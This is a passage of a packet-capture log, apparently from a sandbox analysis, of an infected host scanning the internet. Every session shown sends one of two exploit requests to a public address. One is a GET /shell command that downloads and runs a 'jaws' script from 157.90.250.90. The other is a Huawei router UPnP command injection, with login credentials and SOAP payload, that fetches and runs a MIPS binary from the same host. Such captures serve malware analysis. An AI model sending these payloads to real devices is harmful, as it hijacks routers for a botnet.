HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.23	48466	189.121.120.104	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:05.809755087 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.23	57980	197.90.48.218	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:05.810399055 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.23	46620	36.83.197.198	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:05.811085939 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.23	53346	31.11.137.83	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:05.925901890 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.23	35598	79.6.179.33	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:05.926623106 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.23	47542	184.206.65.88	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:05.927242994 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.23	54454	49.225.63.103	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:05.927910089 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.23	58220	40.104.110.26	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:05.928775072 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.23	50242	197.98.159.190	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:06.594626904 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.23	50204	156.120.223.158	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:06.708395958 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.23	54534	41.130.38.214	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:06.709100008 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.23	43150	41.119.144.225	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:06.709697962 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.23	45598	197.224.51.13	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:07.599178076 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.23	58644	41.131.112.30	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:07.599792004 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.23	52752	156.15.62.230	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:07.600328922 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.23	45748	218.199.145.91	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:08.109004974 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.23	52580	108.150.26.78	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:08.350486994 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.23	59478	188.33.87.33	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:08.351264954 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.23	35096	156.162.96.10	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:08.621428013 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.23	34682	197.136.241.14	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:02:08.622133970 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 